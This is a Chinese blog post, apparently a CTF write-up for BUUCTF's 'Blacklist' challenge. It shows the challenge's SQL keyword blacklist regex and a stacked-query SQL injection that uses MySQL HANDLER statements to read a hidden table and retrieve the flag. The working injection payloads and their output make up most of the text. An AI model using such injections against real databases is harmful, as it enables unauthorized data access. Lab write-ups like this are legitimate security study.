BUUCTF-Blacklist

原创

八哥不爱做题 于 2021-11-10 18:10:14 发布 335 收藏
分类专栏： BUUCTF-wp 文章标签： sql

本文链接：https://blog.csdn.net/m0_47571887/article/details/121253542

前言：

这道题我之前的文章攻防世界-supersqli是一道一样的，只不过这题是个进阶版，还有get了一个新的注入方式。

首先打开题目，看到查询框我们进行注入

Black list is so weak for you,isn't it

姿势: 1 提交查询

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
```


禁用了很多东西啊，但貌似show没有禁用，可以查询一下数据库还有表

Black list is so weak for you,isn't it

姿势: 1 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(8) "FlagHere"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

这里看到flaghere，但rename被禁用掉了，所以不能通过更改表名来进行查询，这里就要用一个其他得到注入方法

```
1';handler FlagHere open;     //打开FlagHere
handler FlagHere read first;     //显示FlagHere的第一个
handler FlagHere close;#     //关闭掉FlagHere
```

Black list is so weak for you,isn't it

姿势: 1 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(42) "flag{eaele30f-6832-4f72-9b0e-657d477ee1b7}"
}
```

拿到flag。